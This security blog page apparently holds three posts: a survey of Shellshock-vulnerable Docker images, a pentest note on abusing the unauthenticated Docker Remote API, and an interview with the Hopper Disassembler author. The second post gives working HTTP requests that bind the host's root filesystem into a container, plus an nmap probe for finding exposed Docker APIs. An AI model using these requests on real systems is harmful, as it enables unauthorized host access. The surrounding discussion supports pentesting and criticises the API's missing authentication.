Shellshock: a survey of Docker images

When I look at the whole Shellshock debacle I am mostly sad. Sad that one can exploit a bug in a piece of software from 1989 to hack internet-connected devices in 2014. I always have this naive hope that maybe, just maybe, not everything is hopelessly broken - which of course gets crushed every other week.

Enough ranting. This blog post is about a small research I've run last week on Docker and Shellshock. No, sorry, this is not yet another "product X is vulnerable to Shellshock if used in a dark night with a super moon" report. So, what is this about? To understand that, we need to do some homework.

Docker Images and you

One of the core concepts of Docker is the difference between an Image and a Container. The TL;DR;, slightly inaccurate version (I should not use Virtual Machine in this context but all readers will be familiars with VMs) can be broken down in two points:
  1. An Image is a "base", read only virtual machine template and a "Container" is a writable instance of that machine;
  2. Images can be chained in a hierarchy of inheritance where a Base image is modified generating a child image and so on. This is "the way" to build images, even though you can always build your own.
Here is an image deep linked from the Docker documentation, which should make things clearer.
As you can see the Debian Base Image has a couple of children before finally generating a writable container. The logic of Docker is such that you should not be "changing" the base image but rather "building on top" of it, adding new components. You surely can, but that would kill one of the key benefits of Docker - citing Red HatLightweight footprint and minimal overhead.

Another important piece of information is that Docker maintains its own repository of public images that anyone can download and use. Docker has some rather complicated concepts for indexes and registries but they don't help us here: suffice to say that in practice lots of users will download images from this "official" repository.

Some important implications for us security folks:

  • If a base image has a security bug, it is at least possible (if not likely) that all the children will inherit the same bug;
  • The logic with which developers most likely approach this model is "I won't have to worry about the base image". This has been somehow hinted at and while some experienced developers will take the need for updates into consideration, not everyone will;
  • People will download and build upon a set of images from Docker's repository. No, we will not hack that, stop being evil!

Yeah, OK. So, Shellshock and Docker?

Now that we have a shared passable understanding of how Images work in Docker, let's get to what I have done. Last week I wondered how many of the most popular Docker base images had been updated: Shellshock had significant press coverage, the kind of coverage that pushes my mum to ask me about "that problem they are talking about in the news", so I figured that most of the main images would have been updated by now. Have them?

To find out, I whipped together a small Python script (published on github) that downloads a list of Docker images in an host VM, downloads and runs a script on each one and then reports the results. Once I finally managed to get it working reliably (and I suspect Guido might have heard me cursing my inability with the language he designed as I longed for the forbidden PHP fruit) I run it against the 100 most popular Docker images published on Docker's repository. In a nutshell, my script simply downloads the image, runs bashcheck on it, and then reports back the results. Because of the way the integration is designed, it will only work on Debian based machines: this is an important point because it means that all my results are likely underestimating the actual numbers.

Many crashes of Virtual Box later, the results were back. 30 Images had at least one instance of the many bugs the Shellshock umbrella covered. The full results are in the repository with the script, and I'll summarize them later on, but a caveat first. There is no proof that containers using these images or derivates of those images can be exploited: the only thing my script detects is the lack of patching. Don't wear your tinfoil hats just yet.

Now, without further ado...

Things I have learnt scanning the 100 most popular Docker images

  • 30% of the top 100 images were still vulnerable to one of the shellshock bugs;
  • 4 of the top 30 were vulnerable, 1 in the top 10 - so around 10% of the really popular images;
  • None of the vulnerable images were "official, Docker maintained images", but some were based on them: those images were still vulnerable because they were not rebuilt after the patch had been applied on the base images. That is, using a base image that gets regularly updated is not enough;
  • Some of the vulnerable images have a consistent user base, or at least downloads. asher/remote_syslog has got almost 900.000 downloads;
  • Docker security team is really nice. I gave them an heads up (nothing for them to do here really, in terms of incident response, but a lot of long term work) and they were very direct about the issues and shared some nice insights. Thumbs up.
A synthetic summary of the shellshock related bugs I've found scanning on October 9th 2014

Things you should worry about

Pentesters never worry! If you are a pentester, you likely want to keep an eye out for usages of Docker images during a pentest. You might even want to ask container's configurations to discover vulnerabilities before you even start the test - it's wonderful to have bugs at day 0.

If you are on the other side of the security fence, though, Docker is coming for you: it's the new hotness and it's quite likely to pop up in your infrastructure in one form or another. The sooner you have a strategy in mind to update those containers, the better.

But wait, didn't we use to have the very same problem with virtual machines a few years ago? We still do. But we used to, too.
However I think there are some subtle but important differences here. As an admin or security person, you can't just SSH in the machine and "apt-get upgrade" it, then save a new snapshot. There is a whole chain of images that might get forked in various points, where some of the nodes might even be escaping your control. Updating images is a very real, known problem: the Docker security team told me they are looking into it so hopefully things are going to get better in the future, but for now you really want to have a story for managing updates. Possibly before the next Shellshock.

My humble view on things that could be improved

I should start by saying that I don't know nearly enough about Docker's infrastructure to have a complete view - and that making posts where you have to provide no solution to the problems you find is much easier. However, I think I realized two or three things while working on this:
  • Reporting bugs on Docker images is hard! Some of these images have tens of thousands of users but no bug tracker or no clear way to report security bugs. In some cases I've opened an issue in github and hoped for the best. Providing some kind of built-in bug reporting feature would be a nice to have in the registry, or maybe this could be brewed in Dockerfiles?
  • Old images are bad! When you look at an image in Docker's repository you have a clear indication of when it was built (or at least committed). Check out the Properties of itzg/minecraft-server: it has been built before the Shellshock bug was even discovered and it's based on an official base image. Now, given that we know what base images are vulnerable to bugs and when, it should be possible to simply assume that all the images that have been built before that as potentially vulnerable as well;
  • Custom images are a lot of work to maintain. On one of my bug reports the maintainer of the image just said "sure, I'll rebuild". Since he was using an official Debian build as a base image, it's not a lot of work on his side. Had he used a completely custom OS, he'd have to do a standard upgrade, which takes more and more time and effort as the image ages.

In conclusion...

A somewhat interesting percentage of images was found to be vulnerable during my tests, for a total of maybe a couple of millions downloads and thus potentially affected containers. The interesting takeaway for me, however, was that updating Docker images is subtly different and possibly more complex than updating VMs. I suspect this is something we'll have to deal with more and more in the future as containerized systems become widespread.

EDIT: I have been pointed this blog post which does a detailed analysis of some of the official Base Images - I have only pulled the Latest tag for each Image, so they got more coverage there. From a quick skim, none of the images I've found to be vulnerable were based on the images they flag in the article.

Abusing Docker's Remote APIs

Forewords: is this post about a security vulnerability?

Ultimately it's not. This is a short note on how to exploit a somehow under-documented feature in the Docker remote APIs, since I did not manage to find clear guidance elsewhere and had to experiment with it myself. The reason for sharing is to save you time during the next pentest. That said, do I think this is bad? Yes, I do, as I will explain later on.

EDIT:  It turns out maybe I wasn't so wrong worrying about this.
See this announcement.

So, what is this about?

TL;DR; The Docker's Remote APIs trivially allow anyone with access to them to obtain access to the file system of the host, by design, and are unauthenticated (but disabled) by default.

Docker is a container-based platform for application "shipment", but to be fair, the official what is Docker page does a better job at explaining what this is all about. Docker is all the rage in these days and if you have never heard of it you should really look it up. It's quite likely to show up in one of your next penetration tests since companies seem to be experimenting with it quite extensively.

Docker is usually managed via a command line tool, which connects to the Docker server via a Unix socket. Access is restricted to the root user by default or to an aptly named Docker group, at least on the Ubuntu packages I've experimented with. So far, so good (sort of, but I don't really have strong arguments here).

This is of course not very convenient if you are working in any environment but your bedroom, so the helpful devs have provided a RESTful API which can be bound to any HTTP port. It is not enabled by default, which is something worth stressing, but can be turned on via a flag (-H tcp://IP_ADRESS:PORT). IANA has assigned ports 2375 and 2376 to the cleartext and SSL protected versions of the APIs respectively.

Looking at the API reference you'll see the APIs support all the operations you'd expect in a VM-management tool. By default there is no authentication so all you need is finding the target (which you can fingerprint by hitting the /version endpoint) - unless, of course, the admin has enabled some other kind of protection. The simplest way to do so is to use Docker's tlsverify feature, and everyone should do that. However, given the process does not work on OsX, guess how many programmer's laptops you are going to pop?

Accessing the host file system

The trick is ultimately quite simple: you just start a new container (think of it as a VM and you won't be far off) with a special configuration, then access it. First, create a container on the host (I'm trying to keep the call small here):

POST /containers/create?name=cont_name HTTP/1.1
Content-Type: application/json
    {
      "Cmd": ["/bin/bash"],
      "Image":"ubuntu",
    }

You'll get back an ID for your container. Now, start the container: note that in my experiment I was able to make these "Binds" only work once, the first time a container is started.

POST /containers/$ID/start
Content-Type: application/json

 {
  "Binds":["/:/tmp:rw"]
 }

Now you have a running container where the /tmp directory maps back to the / of the host. You have to login to the container to go wild on the host, but since you don't have direct access to said poor host, you need to have SSHd running on your container. The default Ubuntu image won't have SSHd up, so you'll have to use a different image (consider baseimage-docker) or tweak around with the cmd - this very last part is left as an exercise for the reader... or scream at me enough in the comments and I'll come up with something. Alternatively, you could be able to use the copy endpoint (documentation of the copy endpoint) but I've not experimented with that.

Why this is worth writing about, or why I don't like un-authed admin interfaces

As I said at the beginning of the post, this writeup is mostly a time saver for those dealing with Docker during a penetration test. However, there is something that I don't like in the way Docker has gone about designing these APIs: the lack of any default auth entirely.

There are of course various reasons why you would ship such a critical feature with no authentication to be seen: time to market, the fact that after all it is disabled by default, or more likely the will to attain segregation of duties. Designing a secure authentication system is complicated, error prone and difficult, and ultimately not the role of an API. Delegating it is a better idea than botching it, so that it is clear where things go wrong.

I beg to disagree, and I'd have expected better from a company that produced such a well thought discussion on the security issues with running SSH on a container. I'm going to argue that there is a huge gap between having a clearly horrible authentication system and nothing at all. The sad truth, as anyone who has done any pentest in his career will tell, is that the vast majority of the end users will run with whatever was shipped out of the box. Security people cheered when Oracle started to require users to set passwords during installation instead of setting default ones (ok ok, that's a long story), and the experience of the Internet Census tells us how easy it is to forget to change that password, or to setup that auth.

Of course, security minded admins will set up things correctly and invest all the time needed to configure a secure environment. But what about the others? Was it so difficult to require a Basic Auth-powered password at startup?

Friction (as in, anything that makes your product harder to use) is bad, but pwned users are worse.

Bonus: Here is a simple nmap probe for the Docker APIs.

##############################NEXT PROBE##############################
# Queries Docker APIs for the /version url containing version information.
#
Probe TCP docker q|GET /version HTTP/1.1\r\n\r\n|
rarity 7
ports 2375
sslports 2376

match docker m|.*{"ApiVersion":"(.*)","Arch".*"GitCommit":"(.*)","GoVersion".*"Os":"(.*)","Version":"(.*)"}.*| p/Docker remote API/ v/$1/ o/$3/ i/GitCommit:$2 DockerVersion:$4/

Five questions with: Vincent Bénony (Hopper Disassembler)

In recent years, we have seen an increase of micro software-house building amazing security software and actively contributing to re-define how we do security. Personal projects quickly turning into powerful tools used by thousands of people to improve the security of many systems around the world. We live in exciting time, where a small team can build things that are going to shape the future of infosec. At NibbleSec, we support and celebrate those successes.

Today, we asked Vincent Bénony to talk about his experience with the Hopper Disassembler:

Q: Hi Vincent, would you mind telling us a little bit about yourself? How did you get into programming and security?

A: Hi! This is a long story...I started programming when I was very young, with the Oric Atmos (if any of you remember this computer). Back then, I was 7 and I’m not sure that I understood what I was doing. I continued on the Amiga, where I really discovered the assembly language with the Motorola 68000. By the way, these were my very first steps with reverse engineering. Like many other guys at that time, I started looking at the anti-copy schemes of games. Each time, it was a really fun challenge. Then, I moved to the demo scene and continued coding small demos. Naturally, I chose to study computer science at the university where, later on, I defended my PhD in the field of cryptography. That was the time when I got back to security and reverse engineering.

Q: When did you realize that Hopper was something more than a personal project? How did this happen?

A: I started working on Hopper as a hobby project, as I was not able to afford the price of an IDA license. At that time, I realized that I didn’t need to have such a powerful tool, and that only a few of IDA's features were really useful to me. Being a OS X user, I really don’t like the look-and-feel of most Qt applications as they're just a raw transposition of Windows versions; they feel like aliens in my OS, and most of the UX habits cannot be transposed to these UIs. Qt is a great toolkit - I love it, and I use it for the Linux version of Hopper - but I really think that each version has to be customized for the targeted OS… So, I decided to write a very little program to do interactive disassembly. And the project started to grow. It was developed at night, after my daily job, and when my children were sleeping :) And then, the Mac App Store was announced… It changed many things. A friend of mine - Hello Sebastien B. :) - told me that I should try to see if there are people interested in such an application on the Mac App Store. I really doubted at first, but I tried anyway… and then… a miracle. I rapidly encountered many people who were interested in the idea of a lightweight alternative of IDA for OS X. The project started to require a lot of time. I received a lot of very positive feedbacks from users, hence I had to make a choice between my job and Hopper…I decided that I had to take my chance. Today, I'm always amused when I look at the very first screenshots of Hopper. It helps me to measure the amount of work that has been done :)

Q: As a micro software company, what are the problems and opportunities?

A: Problems are multiple. First, the development of the software by itself represents only a small part of my day-to-day job. Commercializing a software is not just producing code. I have to deal with many things like the website, users support, legal aspects (accounting, taxes…), and even things that may sound anecdotical, but which take me a lot of time like drawing icons :) - btw, I’m clearly not a designer. That being said, this is only a matter of organization. And I’m always pleased to see that there are so many positive feedbacks! This is something that pushes me beyond my limits. I always try to communicate as much as I can about the software and its development. Many times, people are talking about the project on medias like Twitter, which is a really great tool to help me reaching out potentially interested people. Security conferences are also something that I’m trying to follow as much as I can. For instance, I'm trying to go to every conference in France: I’m almost sure to meet people who use this kind of software, and their feedback is always a great value! Most of the features that were added to Hopper v3 are things that were discussed with people I met in conferences like NoSuchCon in Paris.

Q: Being a one-person software company, how do you track and prioritize new features and bugs? Which software development model are you following? In other words, how do you make sure that you're working on something relevant?

A: I’m an academic person, hence, I was not really at ease with software development methods used by real companies. I don’t know how it works outside France, but the studies I followed were purely about the theoretical aspects of computer science and nothing else. I have a coherent vision of what I would like to reach with Hopper. I always read all messages that I receive from my customers and I write all ideas that are compatible with the initial view I had for my software on my todo list. I’m always trying to avoid mutating Hopper into something that pretends to fit the needs of everyone; I want it to be lightweight, and coherent. Once I filtered the features that I want to implement, I usually start with the most visible part, implementing bogus functional parts. This is a good way to have a rapid visual feedback. If the feature still makes sense according to my usual workflow, it is kept. I really need to see the progress on a feature, and starting with the visual parts helps me a lot! Another thing, I strongly believe that the only way to write something coherent is to be the first client of your software. I use Hopper a lot, for many things, even debugging Hopper itself :)

Q: What would you recommend to people starting or maintaing a security tool? Which business model would you recommend to turn a personal project into a sustainable source of income?

A: I'm not sure whether my very little experience in the field is really relevant. Evaluating simple things, like the product price, the targeted audience, and so on, is very difficult but it's something that needs to be done. After that, I really love to simulate things: I wrote tons of Python scripts to simulate the viability of my company for the next 10 years (with a lot of pessimistic hypothesis, to avoid future problems). If Hopper will continue to be a stable project is too soon to say, but I did my best to avoid jumps into the wild, with a no clear view on what I want to achieve. Anyway, deciding to work full-time on Hopper was one of the best thing that I've ever done: working on something stimulating is really awesome! Sometimes exhausting, but really awesome :)